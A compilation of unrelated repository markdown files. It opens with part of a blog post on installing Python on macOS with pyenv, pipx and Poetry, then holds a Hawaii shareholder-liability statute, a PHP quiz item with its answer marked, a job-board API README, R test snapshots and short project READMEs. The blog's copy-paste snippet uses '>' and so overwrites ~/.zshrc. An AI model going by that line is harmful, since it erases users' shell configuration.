pyenv global 3.8.1
```

Now try it! Check what happens when you ask for the current Python
version:

```
$ python --version
Python 3.8.1
```

Since I'm paranoid that _something_ on my system will break because it's
expecting `python` to be Python 2.7 (yikes!) that's pre-installed by
Apple on my system, I do the following:

```sh
pyenv global system 3.8.1
```

This instructs to `pyenv` that it should check if the executable is
installed on the system path first, and _then_ try the selected Python
version—in my case, CPython 3.8.1. You might be able to get away with
`pyenv global 3.8.1` and not use the pre-installed system Python at all.

If you don't see the version you want to install, perhaps your installed version of
`pyenv` is too old. Upgrade `pyenv` using Homebrew:

```sh
brew upgrade pyenv
```

pipx
====

I often want to install utilities that are written in Python, and
available to install via `pip`. For example, I like installing
[black][] to format my code for me.

**Do not** do the following 🙅:

```sh
sudo pip install black
```

Instead, I'd like these globally-installed executables to be installed,
without installing themselves on my Python path.

This is exactly the problem that [pipx][] tries to solve.

Install it using Homebrew:

```sh
brew install pipx
```

Then install your favourite Python executables 👍!

```sh
pipx install black
```

Sadly, `pipx` will only install one package at a time, but we can do
some arcane shell-fu to install multiple packages in one command line.
Use `xargs -n1` to call an command with exactly one of its input
arguments:

```sh
# Install isort, mypy, snakeviz, pygments, and tqdm all on one line!
echo isort mypy snakeviz pygments tqdm | xargs -n1 pipx install
```

[black]: https://black.readthedocs.io/en/stable/
[pipx]: https://github.com/pipxproject/pipx/

Managing project environments with poetry
=========================================

For each of my projects, I want an isolated environment to install
packages. Python has historically done this... poorly. The hacky
solution for years has been [virtual environments][], but they require
a lot of manual work, and you need to remember to create a virtual environment,
activate it, place all the packages you installed in `requirements.txt`,
and so on.
What a mess!

Then came [pipenv][]. I've used pipenv for about a year, and noticed
a notable improvement in my workflow. However, some of the decisions
that `pipenv`'s original creator made were questionable to say the
least. `pipenv` is under new management, but some of the decisions and
attitudes of the original creator have left scars on the current
state of the project.

So then I switched to [Poetry][].

[pipenv]: https://github.com/pypa/pipenv
[Poetry]: https://github.com/python-poetry/poetry

Poetry is my current choice for project dependency management. You can
install it with Homebrew:

```sh
brew install poetry
```

Basic usage can be found on [Poetry's website][poetry docs], but here's
a quick tutorial:

Make a brand new project using `poetry new`:

```sh
poetry new my-awesome-app
```

`cd` into the project, and install some dependencies:

```sh
cd my-awesome-app
poetry add django
```

You can also specify dependencies you only use in development—that is,
these packages should _not_ be installed when somebody downloads your
library, or deploys your app somewhere.

```sh
poetry add --dev black isort pylint
```

To actually _run_ my application, I tend to use `poetry shell` to
activate the current environment.

```sh
poetry shell
```

For example, in my Django app:

    # this will not work -- not in virtualenv:
    $ django-admin version
    zsh: command not found: django-admin
    $ poetry shell
    Spawning shell within /Users/eddieantonio/Library/Caches/pypoetry/virtualenvs/my-awesome-app-VMVa3PrX-py3.7
    # this works now 😄
    (my-awesome-app-VMVa3PrX-py3.7) $ django-admin version
    3.0.2

This is just scratching the surface of using Poetry. [Read the
docs][poetry docs] to learn more.

[poetry docs]: https://python-poetry.org/docs/basic-usage/

Putting it all together: installing Python on macOS
===================================================

Here is a dangerously copy-pastable snippet to install all the things:

```sh
# Install Homebrew:
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

# Install pyenv, pipx, and poetry with Homebrew:
brew install pyenv pipx poetry

# Make sure pyenv is on the path:
echo 'export PATH="$HOME/.pyenv/shims:$PATH"' > ~/.zshrc

# Restart your shell (so we have the updated path):
exec $SHELL

# Install a modern version of Python using pyenv:
# (Python 3.8.1 is the latest stable version as of this writing)
pyenv install 3.8.1

# Tell pyenv to try using the system Python 2.x before using our pyenv
# installed Python 3.8.1
pyenv global system 3.8.1

# Install Python-based utilities globally using pipx:
# May I suggest black, isort, and mypy?
echo black isort mypy | xargs -n1 pipx install
```

Happy coding! 🍎🐍

repository: eddieantonio/blog

repo_name: eddieantonio/blog


text:
---
hrs_structure:
  division: '2'
  volume: '8'
  title: '23'
  chapter: '414'
  section: 414-83
type: hrs_section
tags:
  - Business
menu:
  hrs:
    identifier: HRS_0414-0083
    parent: HRS0414
    name: 414-83 Liability of shareholders
weight: 24205
title: Liability of shareholders
full_title: 414-83 Liability of shareholders
---
**[§414-83] Liability of shareholders.** (a) A purchaser from a corporation of the corporation's own shares is not liable to the corporation or its creditors with respect to the shares except to pay the consideration for which the shares were authorized to be issued (section 414-82) or specified in the subscription agreement (section 414-81).

(b) Unless otherwise provided in the articles of incorporation a shareholder of a corporation is not personally liable for the acts or debts of the corporation except that such shareholder may become personally liable by reason of such shareholder's own acts or conduct. [L 2000, c 244, pt of §1]

repository: SamMade/BlueAndKrabby

repo_name: SamMade/BlueAndKrabby


text:
[<<< Previous question <<<](0228.md)  Question ID#0229.md  [>>> Next question >>>](0230.md)

Consider a string in the following format:
```php
a*bcd/a.d
```
You want to perform regular expression in this string; however, you are unable to do this since the string contains special characters. You can make this string PCRE compatible if you convert this string in the following format:
```php
a\*bcd\/a\.d
```
Which of the following functions will you use to accomplish the task into a single call?

- [x] A
```php
preg_quote()
```

- [ ] B
```php
preg_match()
```

- [ ] C
```php
preg_split()
```

- [ ] D
```php
explode()
```


text:
# Jobify-app

## Group members

* **Abdallah Zakaria**
* **Abdulhakim Zatar**
* **Mohmmad Al-Esseili**
* **Osama Althabteh**

## Problem Domain

Day after day, unemployment has become a big issue that threatens everyone, especially in the hard circumstances that the world is going through due to COVID19 pandemic, although that there are too many websites that help people find jobs, they are too many to follow and a bit complicated in some way , so our plan is to make an employment hub that combine all jobs from different sources in one place and make this process as much easier as it could be.

## UML

![](https://lh4.googleusercontent.com/73DQOk0QA-DgWjFY_EF7o_C_mxRCgsLc2EC_BzoJ2wUexccnOZR6iYvQduNud-wKvNKHyNwnG4bGJbRbuGFL9xpyyPDmG14qoYDQ67ANnuJXNDlb1AXAFQV63AKjz6c4BpfvCER7r8w)

## Database Model Diagram

![](https://lh4.googleusercontent.com/2-SadErliV_clHl9nbgnG1aPCKZ0jHyH6rLcmR4k6opVDO-R8pBA2a_xJ0F4a2huSyKtfnj0CzVrK4TkLNWMWRkOo7FI1409SY1ZmMVNBU-F3hKsKMcY77Gimk8GCCVuw8GRxVxXgHE)

![](https://lh4.googleusercontent.com/ei0JmXX5utpsZuMCNpZKYvS_WCkUeZzlzAHEXWprW38Nt5WNjsrNCGlEFx61TxGeuvG0Zqk2yPg4O1zSuK4JsCXNVsg2Duz9_kU7kZaDV6DzTnmRH1_ufahqhr45nz5qTL9wgWcDpFQ)

## Project Management Tool

[Trello](https://trello.com/invite/b/qdMApvNd/146e1a2ec506e1d8b85d87decc563a76/englopers-jobify-v2)

## Features & Routes

### Applicant

#### Dashboard

| Method | Endpoint | Description  |
| :---: | :--- | :--- |
| GET | /home | Used to get the suggestion jobs, the number of applied applications, the received offers, messages, and the notifications. |

#### Applications

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /user/app | Used to get all the employee applied applications. |
| GET | /user/app/:id | Used to get one of the employee applied applications. |
| DELETE | /user/app/:id | Used to delete one of the applied applications. |

#### Offers

| Method  | Endpoint | Description  |
| :--- | :--- | :--- |
| GET | /user/offers | Used to get all the employee received offers. |
| PUT | /user/offers/:id | Used to answer one of the received offers |

#### Apply

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| POST | /user/apply/:id | Used to apply on a job offer. |

#### Search

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /job | Used to search for a job by the job title and location. |
| GET | /company | Used to search for a company by the title and location. |

#### Save

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /user/saved | Used to get all the employee saved jobs. |
| POST | /user/save | Used to save one of jobs. |

#### Reports

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| POST | /report | Used to send a report to the support. |
| GET | /reports | Used to get all the employee reports. |
| GET | /report/:id | Used to get one of the employee reports. |

#### Upload

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| POST | /upload/profile\_pic | Used to upload the employee profile picture. |
| POST | /upload/cv | Used to upload and scan the employee resume. |

#### Edit Profile

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| PUT | /user/edit | Used to update the employee profile information. |

### Company

#### Dashboard

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /home | Used to get all the company job applications, job offers, messages, and the notifications. |

#### Applications

| Method | Endpoint | Descriptions |
| :--- | :--- | :--- |
| GET | /company/app | Used to get all the company received applications. |
| PUT | /company/app/:id | Used to answer one of the received application. |

#### Offers

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /company/offers | Used to get all the company sent offers. |
| POST | /company/offers/:id | Used to send a new offer. |
| DELETE | /company/offers/:id | Used to delete one of the company sent offers. |

#### Jobs

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /company/jobs | Used to get all the company posted jobs. |
| POST | /company/submit | Used to post new job. |
| PUT | /company/jobs/:id | Used to update one of the company posted jobs. |
| DELETE | /company/jobs/:id | Used to delete one of the company posted jobs. |

#### Search

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /employee | Used to search for employees by the job title and location. |

#### Reports

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| POST | /report | Used to send a report to the support. |
| GET | /reports | Used to get all the company reports. |
| GET | /report/:id | Used to get one of the company reports. |

#### Edit Profile

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| PUT | /company/edit | Used to update the company profile information. |

##

### Admin

#### Dashboard

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | / | Used to get all the website statistics. |

#### Block

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| PATCH | /admin/block/:id | Used to ban users. |
| PATCH | /admin/removeBlock/:id | Used to Unban users. |

#### Reports

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /admin/report | Used to get all the received reports from employees and companies. |
| GET | /admin/report/:id | Used to get one of the received reports from employees and companies. |
| PATCH | /admin/report/:id | Used to update one of the received reports from employees and companies. |
| DELETE | /admin/report/:id | Used to delete one of the received reports from employees and companies. |

#### Posts

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /admin/posts | Used to get all the posted posts from community. |
| GET | /admin/posts/:id | Used to get one of the posted posts from community. |
| PATCH | /admin/posts/:id | Used to pin one of the posted posts from community. |
| DELETE | /admin/posts/:id | Used to delete one of the posted posts from community. |

#### Seed Data

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| POST | admin/seed | Used to insert post jobs by the admin to the platform. |

##

### Community

#### Dashboard

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | / | Used to get all data for the user. |
| GET | /search | Used to search for a post by typing keywords related to the subject. |

####

#### Post

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /post/:id | Used to get  an added Post . |
| POST | /submit | Used to post submit new post. |
| PATCH | /post/:id | Used to update an added post. |
| DELETE | /post/:id | Used to delete an added post |

#### Comment

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| POST | /comment/:id | Used to post a new comment on an added Post . |
| DELETE | /comment/:id | Used to delete an added comment. |

#### Like

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| POST | /like/:id | Used to add a new like on an added Post . |

##

### Authentication

#### Basic authenticate

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| POST | /signin | Authorize users to the platform. |
| POST | /signup | Register user as recruiter or applicate. |
| GET | /logout | Logout user from platform and clear his/her cookies. |

#### Verify

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /verify/:token | Verify user by generated token sent to his/her email. |

###

### Messages

Listening to **messages** namespace

* The company can start offer-chat with any employee in the platform then the employee will be able to chatting with that company in real time event.
* When the user get back online all of unseen messages will appear.
* User will have the ability to get the messages history.

##

### Notifications

Listening to **notification** namespace

* The employee will notified in real time event when received a job offer.
* the company will notified in real time event when received a job application.
* User will have the ability to get the notification history.

##

### API

Fetching data from other's platform

| Method | Endpoint | Description |
| :--- | :--- | :--- |
| GET | /api/v1/jobs | Used to fetch all jobs in the platform. |
| GET | /api/v1/companies | Used to fetch all companies in the platform. |
| GET | /api/v1/employees | Used to fetch all employee in the platform. |

## Tests

![](https://lh5.googleusercontent.com/-dXOrp8lF93wUJXoR4yMmsZWQgXIhXsZ_s_2skFpXiS3xtupPyQpw8O02MiIUiE55JfMh-lHjtKOS_HRe5KKiu-mISKioEyymmGaKfBRSiNATSo3nGxHgV_VKlQTrzzIL3g2mNuz2lM)

## **Technology**

![](https://lh3.googleusercontent.com/Fk17Hu3uuPEZFHAX8GHaATK7pymdXQFJK5s7i2-NbyBuFJsE_2OUQt2bw7g-2iB49etSuxt5uFS6qQKBy6JtoK5Pq2iOeugrow1o_rU6WGa1PwWKhue0CEh_YCWMBIrJzlnb86irSGc)

![Raspberry Pi Robot: Using SocketIO to Connect our Robot and Controller](https://lh4.googleusercontent.com/uFbsYTjRWMKg31Ikhb8FOTLELKAgLtXTrZEGP2b_TyobXjt9yx0bQMinji_IwOs5xtI7Q0n_j4R_4O0k67cF4nYD1XqYOoO2Ig4eRG3KV0IS-AmlbvzRbt926cbZ1nwMtjLhoJVqkLw)

![](https://lh4.googleusercontent.com/hkaNFwx1P91F6BQsv-OVd-C-h4GCxLOggZ9irOEEWnjMifzS7jqzwfj6PwUTaJ6yUcZ0OueRuiZQRRXwqQWuHciwZZmhl0cAyHgfIOy-TAF3m3vob15IqBS_vZYUTla_137YNervs3A)

![](https://lh3.googleusercontent.com/_SE-bkGbmUDH0A6VCtj1R8fRS9HWYb7O_Z9SrgU_R8HAeMRbDisJih1wDX5YHPSWn1w-Z-cuyMjoneTnlJmn7Mx5tmXShB0UsLgog90oDl1gn9c-1E88pjGg46J0y6CExmIBSwMGA9Q)

![MongoDB logo and symbol, meaning, history, PNG](https://lh6.googleusercontent.com/IHA2SvvsKeVykQ0QpHQk1dCYSGX2THC4mQ3LjiwMfgE5EJ0i7fQSnRfLPa9KxFYLTtqglMWjl4UORDYwt4qNZ6rQdreMWprzmIoF9BAXZbnV_qXKMjU6FiRW6xnlaPVhyv0f2_AzlzY)

## Deployed app link
[Link](https://jobify-app-v2.herokuapp.com/)

##

repository: Abdallah-Zakaria/jobify-backend

branch_name: refs/heads/main

repo_name: Abdallah-Zakaria/jobify-backend


text:
# case weights

    Code
      filtering_trained
    Message

      -- Recipe ----------------------------------------------------------------------

      -- Inputs
      Number of variables by role
      predictor:    7
      case_weights: 1

      -- Training information
      Training data contained 100 data points and 100 incomplete rows.

      -- Operations
      * Missing value column filter removed: dbl2, dbl3, dbl4, ... | Trained,
        weighted

---

    Code
      filtering_trained
    Message

      -- Recipe ----------------------------------------------------------------------

      -- Inputs
      Number of variables by role
      predictor:    7
      case_weights: 1

      -- Training information
      Training data contained 100 data points and 100 incomplete rows.

      -- Operations
      * Missing value column filter removed: dbl2, ... | Trained, ignored weights

# empty printing

    Code
      rec
    Message

      -- Recipe ----------------------------------------------------------------------

      -- Inputs
      Number of variables by role
      outcome:    1
      predictor: 10

      -- Operations
      * Missing value column filter on: <none>

---

    Code
      rec
    Message

      -- Recipe ----------------------------------------------------------------------

      -- Inputs
      Number of variables by role
      outcome:    1
      predictor: 10

      -- Training information
      Training data contained 32 data points and no incomplete rows.

      -- Operations
      * Missing value column filter removed: <none> | Trained

# printing

    Code
      print(rec)
    Message

      -- Recipe ----------------------------------------------------------------------

      -- Inputs
      Number of variables by role
      predictor: 7

      -- Operations
      * Missing value column filter on: all_predictors()

---

    Code
      prep(rec)
    Message

      -- Recipe ----------------------------------------------------------------------

      -- Inputs
      Number of variables by role
      predictor: 7

      -- Training information
      Training data contained 100 data points and 100 incomplete rows.

      -- Operations
      * Missing value column filter removed: dbl2, dbl3, dbl4, dbl5, chr2 | Trained

repository: tidymodels/recipes

gha_language: R

gha_license_id: NOASSERTION

repo_name: tidymodels/recipes


text:
# Building an AJAX File Uploader with NodeJs

This code is for the tutorial on building an AJAX file uploader with NodeJs, express, and formidable.

Check out the full tutorial at [coligo](http://coligo.io/building-ajax-file-uploader-with-node/)

repository: aannoune/file-uploader

repo_name: aannoune/file-uploader


text:
# HAProxy with Synapse #

Synapse is Airbnb's new system for service discovery.
Synapse solves the problem of automated fail-over in the cloud, where failover via network re-configuration is impossible.
The end result is the ability to connect internal services together in a scalable, fault-tolerant way.

See https://github.com/airbnb/synapse or https://github.com/bobtfish/synapse (with etcd watcher)

A docker usage example: http://adetante.github.io/articles/service-discovery-with-docker-1

repository: xuwang/docker-dev

repo_name: xuwang/docker-dev


text:
Serbian translation for SupportPal
=================================

This reporistory hosts the Serbian translation of SupportPal interface. A lof of effort and time was put into this over the years and we want to share our work publicly with others.

How to install it?
------------------
1. Create a new folder:
```
mkdir -p resources/lang/rs
```
3. Initialize the repo:
```
cd resources/lang/rs
git init
git remote add origin git@github.com:mint-hosting/supportpal-serbian-translation.git
git pull origin master
```
4. Go to `Settings -> Languages` and make sure `Serbian` is Enabled.

I have a suggestion / improvement, how can I submit it?
------------------
If you have a suggestion how to improve certain aspects of this translation feel free to submit a pull-request.

How often is this translation updated?
------------------
With every new SupportPal version we will check and update the translation if needed.

Author Information
------------------
This translation was made and is actively maintained by [Mint Hosting](https://mint.rs)


text:
---
title: "Optimal Pooling and Finite Mixture Distribution: a Comparison between Approaches to Density Forecast Combination"
authors:
- admin
date: "2018-04-01T00:00:00Z"
doi: ""

# Schedule page publish date (NOT publication's date).
publishDate: "2017-01-01T00:00:00Z"

# Publication type.
# Legend: 0 = Uncategorized; 1 = Conference paper; 2 = Journal article;
# 3 = Preprint / Working Paper; 4 = Report; 5 = Book; 6 = Book section;
# 7 = Thesis; 8 = Patent
publication_types: ["3"]

# Publication name and optional abbreviated publication name.
#publication:
#publication_short:

abstract: "The combination of two or more density forecasts entails a long tradition the statistics and forecasting literature. However, little attention in econometrics has been given to the finite mixture distribution as a statistical model for combining density forecasts. Combination procedures based on a mixture density distribution are able to account for parameter uncertainty in addition to weights uncertainty, which are features normally not considered in the traditional two-step approaches. The aim of this paper is to compare the one-step mixture approach with a more traditional two step approach for combining density forecasts. The comparison has been achieved with several Monte Carlo simulations and applications. From
the comparison, the two-step set of procedures result to be more accurate in combining density forecasts when the sample size is small, the individual models are nonnested or when the number of forecasts to combine is high. The one-step is more accurate in combing density forecasts when the sample size is big enough, the individual models are nested, when data presents breaks or when the number of forecasts to combine is low."

# Summary. An optional shortened abstract.
summary: "The combination of two or more density forecasts entails a long tradition the statistics and forecasting literature. However, little attention in econometrics has been given to the finite mixture distribution as a statistical model for combining density forecasts. Combination procedures based on a mixture density distribution are able to account for parameter uncertainty in addition to weights uncertainty, which are features normally not considered in the traditional two-step approaches. The paper proposes a comparison between combination approaches for density forecasting."

tags:
#- Source Themes
#featured: true

links:
#- name: Custom Link
#  url: http://example.org
#url_pdf: http://eprints.soton.ac.uk/352095/1/Cushen-IMV2013.pdf
#url_code: '#'
#url_dataset: '#'
#url_poster: '#'
#url_project: ''
#url_slides: ''
#url_source: '#'
#url_video: '#'

# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
image:
  #caption: 'Image credit: [**Unsplash**](https://unsplash.com/photos/pLCdAaMFLTE)'
  focal_point: "smart"
  preview_only: false

# Associated Projects (optional).
#   Associate this publication with one or more of your projects.
#   Simply enter your project's folder or file name without extension.
#   E.g. `internal-project` references `content/project/internal-project/index.md`.
#   Otherwise, set `projects: []`.
#projects:
#- internal-project

# Slides (optional).
#   Associate this publication with Markdown slides.
#   Simply enter your slide deck's filename without extension.
#   E.g. `slides: "example"` references `content/slides/example/index.md`.
#   Otherwise, set `slides: ""`.
slides: example
---

repository: GiuliaMantoan/GMantoan

repo_name: GiuliaMantoan/GMantoan


text:
# Python Physics Calculator
##### Author: Cyan Brown
***
#### Starting Notes
***
* gravitational acceleration is 9.81
* air resistance considered negligible
* There are some random errors that I am working out
***
#### Physics Class
***
##### Params:
###### *All params are integer or float
* A (acceleration)
* T (total time)
* V0 (velocity initial)
* V (velocity final)
* X0 (position initial)
* X (position final)
* vector (initial vector if projectile)

***
#### Vector Class:
***

##### Init Params
* vector_type (composite or mag_ang)
* data1 (x component, or magnitude)
* data2 (y component, or angle measurement)
* measure ('degrees' or 'radians' if you chose mag_ang vector)

***
#### physicsObject class
***

##### Init Params:
* mass = mass of object in kilograms
* force_vector = the applied force on the object
* static_friction_coefficient = the coefficient of static friction
* kinetic_friction_coefficient = the coefficient of kinetic friction
* starting_velocity = if the object is already moving, this is the velocity

#### Methods
* ##### data_at_position:
    * **Params**
        * position = the position you want physics kinematics from
* ##### data_at_time:
    * **Params**
        * time = the time you want physics kinematics from
* ##### graph_fbd:
    * **Params**
        * save (bool) (default false) = if you want to save the graph

***

### Examples
***
Y to Time             |  X to Time
:--------------------:|:--------------------:|
 ![](examples/ty_example.png)|  ![](examples/tx_example.png)

Y to X                |Y and X to Time
:--------------------:|:--------------------:|
![](examples/xy_example.png)|![](examples/all_example.png)

Free Body Diagram     |
:--------------------:|
![](examples/15,%20%5B100,%2035%5D.jpg)|

[More Examples](https://github.com/CyanBrown/PhysicsCalculator/tree/master/examples)

### Known Issues
* You cannot add custom kinematic values for projectiles, it only works with vectors alone

repository: CyanBrown/PhysicsCalculator

gha_language: Python

repo_name: CyanBrown/PhysicsCalculator


text:
# VistaOCR
ISI's Optical Character Recognition (OCR) software for machine-print and handwriting data

# Publications
*"How to Efficiently Increase Resolution in Neural OCR Models"*. Stephen Rawls, Huaigu Cao, Joe Mathai, Prem Natarajan. IEEE Workshop on Arabic Script Analysis and Recognition (ASAR) 2018.

[*"Combining Convolutional Neural Networks and LSTMs for Segmentation Free OCR"*](https://doi.org/10.1109/ICDAR.2017.34). Stephen Rawls, Huaigu Cao, Senthil Kumar, Prem Natarajan. International Conference on Document Analysis and Recognition (ICDAR) 2017.

[*"Combining Deep Learning and Language Modeling for Segmentation-free OCR From Raw Pixels"*](https://doi.org/10.1109/ASAR.2017.8067772). Stephen Rawls, Huaigu Cao, Ekraam Sabir, Prem Natarajan. IEEE Workshop on Arabic Script Analysis and Recognition (ASAR) 2017.

# Model

![VistaOCR Model Diagram](https://github.com/isi-vista/VistaOCR/blob/master/vista-ocr-model-diagram.png)

# Pretrained Models

Coming Soon. Pre-trained models for English, French, and Arabic Handwriting

# Performance Numbers

Coming soon. Expected character and word error rates from public datasets.

# How to Train

Coming soon.

# How to Decode using Existing Model

Coming soon.

# Citation
```
@inproceedings{vistaocr,
  author    = {Stephen Rawls and Huaigu Cao and Senthil Kumar and Prem Natarjan},
  title     = {Combining Convolutional Neural Networks and LSTMs for Segmentation Free OCR},
  booktitle = {Proc. ICDAR},
  year      = {2017},
  url       = {https://doi.org/10.1109/ICDAR.2017.34},
  doi       = {10.1109/ICDAR.2017.34}
}
```


text:
# MoJo
201 Final Project

**Authors**
Ashlyn, Rosalyn, Shelby, and Raven

Mood Journal site which tracks mood over a period of time with outside resources and about the creators page.

Initial Wireframe ideas:
https://github.com/Power-Puff-Girls/MoJo/tree/master/Wireframe%20Images

Domain Model:
https://github.com/Power-Puff-Girls/MoJo/blob/master/Domain%20Model.jpg

**User Stories:**

Title: Mood Tracker

As a user I want to express my mood so that I can be encouraged to have daily introspection.

Feature Task:
Being able to input my mood from a dropdown menu of choices
Acceptance Test:
Make sure that the user can select their mood from a list.

Title: Save Previous Entries

As a user I want to see my information tracked to compare days so that I can see where I am struggling.

Feature Task:
Create a submit button to save user’s selection or input
Local storage to store mood data
Create a graph of the weeks moods using the stored information.
Storage resets after a set period of time
Acceptance Test:
Make sure the local storage shows saved data
Make sure that the graph collects and displays the data that the user gives us
Make sure the graph is easy to read and understand
Check to ensure that storage is resetting after a predetermined period of time.

Title: Resources

As a user I want resources so that I can get help when needed.

Feature Task:
Give additional information about support systems and other places other than MoJo
Have a window that appears when a user has had negative moods for 3 or more days in a week that provides additional resources.
	Acceptance Test:
Check that our links to resources are not broken
Check that after 3 negative entries resources are shown

Title: Navigation

As a user I want an easy to navigate website so that I can navigate quickly to my desired page.

Feature Task:
Create a navigation bar
Pages are clearly labeled with links to other pages.
Pleasant color pallette.

Acceptance Test:
Make sure that navigation bar works.
Make sure that everything is readable on different screens/browsers.
Get feedback from others on color pallete.

Title: Safe Space

As a user I would like a safe space to reflect on my day so that I will feel comfortable using MoJo regularly.

Feature Task:
Secure journal with a username for entry to website
Create a blurb that tells the user that the site is not sponsored by outside sources and information is not shared.

Acceptance Test:
Make sure that there is a space to leave comments for the day
Make sure that the blurb is displayed.

## Resources and Links
**Image Sources**
flying.ppg.png https://www.forbes.com/sites/robsalkowitz/2018/11/12/powerpuff-girls-turn-20/#3d936bbc29ca

internet, mojo, pogostick and helpMe https://giphy.com/gifs/cartoon-network-the-powerpuff-girls-TQbMZC7UngVH2

neon.ppg.gif https://www.ign.com/boards/threads/i-watch-just-now-the-new-powerpuff-girls.454758772/

terrible gif https://giphy.com/gifs/mtv-show-daria-eH0dkPPs1Yl32

monkey hugging gif https://giphy.com/embed/42YlR8u9gV5Cw

Squidward gif :https://giphy.com/gifs/funny-sponge-bob-Q9y3Fn3OzTMw8

**Other Links**
Visual Studio Live Share to group program
https://codepen.io/jnowland/pen/GZLQBw - select placeholder
https://www.plus2net.com/javascript_tutorial/window-onload.php - window onload
Credit to Erin Trainor for background image

https://www.w3schools.com/TAGS/tag_textarea.asp

diamond bullets: https://www.artishock.net/coding/css-list-styling-using-ascii-special-characters/

hide scrollbars: https://stackoverflow.com/questions/16670931/hide-scroll-bar-but-while-still-being-able-to-scroll

logo edit - photopea.com

repository: Power-Puff-Girls/MoJo

repo_name: Power-Puff-Girls/MoJo


text:
## light pins

|    light     |   pin  |
| -----------  |   ---  |
|  tail light  | Servo2 |
|  head light  |  RXI   |
|  left light  |  SDA   |
| right light  |  SCL   |
| beacon lights| Servo4 |

gha_language: C


text:
![Logo](admin/expire.png)
ioBroker Expire Adapter
==============

# Change state after specified time

This adapter allows you to change the state value after a specified time.


text:
# #069 ATmegaBreadboard

Running an ATMEGA328P-PU on a breadboard

## Notes

The objective here is to run an ATMEGA328P-PU chip on a breadboard. It assumes the chip is already programmed.
For programming the chip, see [programming an ATmega via Arduino ISP](../ATmegaViaArduinoISP).

Yes, it just works.

### Construction

![The Breadboard](./assets/ATmegaBreadboard_bb.jpg?raw=true)

![The Schematic](./assets/ATmegaBreadboard_schematic.jpg?raw=true)

![The Build](./assets/ATmegaBreadboard_build.jpg?raw=true)

## Credits and References

* [Atmel ATmega328P Product Info](http://www.atmel.com/devices/ATMEGA328P.aspx)
* [ATmega168/328-Arduino Pin Mapping](http://www.arduino.cc/en/Hacking/PinMapping168)
* [Building an Arduino on a Breadboard](http://www.arduino.cc/en/Main/Standalone)
* [From Arduino to a Microcontroller on a Breadboard](http://www.arduino.cc/en/Tutorial/ArduinoToBreadboard)
* [1-Day Project: Build Your Own Arduino Uno for $5](https://www.youtube.com/watch?v=sNIMCdVOHOM)

repository: tardate/LittleArduinoProjects

repo_name: tardate/LittleArduinoProjects


text:
---
layout: post
title: "GCC command line tools"
date: 2012-11-12 20:29
comments: true
categories: [ gcc , ruby gems]
---
When the bundling gems fail in Mac OS X, Download the latest GCC standalone file from the link below:

[gcc standalone tools](https://github.com/kennethreitz/osx-gcc-installer/downloads)

repository: hlee/octopress

repo_name: hlee/octopress


text:
ShiftLib
=============
[![GitHub issues](https://img.shields.io/github/issues/Sibras/ShiftIntrinsicGuide.svg)](https://github.com/Sibras/ShiftIntrinsicGuide/issues)
[![license](https://img.shields.io/github/license/Sibras/ShiftIntrinsicGuide.svg)](https://github.com/Sibras/ShiftIntrinsicGuide)
## ShiftLib

ShiftLib is a general purpose cross platform C++ library providing multiple mathematics, memory and utility functions

## Features

- Optimised general purpose math functions
- Optimised bit arithmetic operations
- Signed and Unsigned 128 bit integers
- Rational number type
- Type traits (alternate to std::)
- Compiler and architecture detection
- Optimised SIMD template types
    - Configurable platform optimisations (SSE3, SSE4.1, AVX, AVX2, AVX512)
    - Scalar fallback (CUDA compatible)
    - Multiple SIMD type sizes:
        - SIMD2
        - SIMD3
        - SIMD4
        - SIMD8
        - SIMD16
        - SIMD12
        - SIMD3x2
        - SIMD3x3
        - SIMD3x4
    - Optimised trigonometric functions (float/double types only)
    - General arithmetic operations, load-store, horizontal, shuffle functions
- Optimised Geometry template types
    - Matrix3x3
    - Matrix4x3
    - Matrix4x4
    - Quaternion
    - Point3D + Vector3D
    - Packed Point3Dx2 + Vector3Dx2
    - Packed Point3Dx4 + Vector3Dx4
    - AABoundingBox (axis aligned)
    - Packed AABoundingBox2, AABoundingBox4
    - Ray
    - Packed Ray2, Ray4
    - Range
    - Packed Range2, Range4
- Custom memory allocators and containers
    - OS based heap allocator
    - Stack allocator
    - Dynamic array template type
    - Fixed array template type
    - Optimised memory copy functions
    - CUDA memory allocation and transfer support

## Issues

Any issues related to ShiftLib should be sent to the [issues](https://github.com/Sibras/ShiftLib/issues) page for the repository.

## License

ShiftLib original code is released under [Apache 2.0](https://opensource.org/licenses/Apache-2.0).

## Copyright

For a complete copyright list please checkout the source code to examine license headers. Unless expressly stated otherwise all code submitted to ShiftLib (in any form) is licensed under [Apache 2.0](https://opensource.org/licenses/Apache-2.0) and copyright is donated to ShiftLib. If you submit code that is not your own work it is your responsibility to place a header stating the copyright.

## Contributing

Patches related to ShiftLib should be sent as pull requests to the main repository.

repository: Sibras/ShiftLib

repo_name: Sibras/ShiftLib


text:
# Testing scope

The most commonly considered parameter that tests vary on is scope (or sometimes
referred to as “size”).

Scope is relative to a testable unit. A test that focuses on a single such unit
is called a unit test, and a test that exercises several units together is
called an integration test. Most tests can also be arranged in the
[testing pyramid](#scope-of-tests).

A unit is arbitrarily defined from the test author’s perspective. For instance
in object-oriented programming, a unit is typically a class. Throughout this
document, and generally on Fuchsia, is is often mention ed that a unit under
test is a component unless otherwise stated.

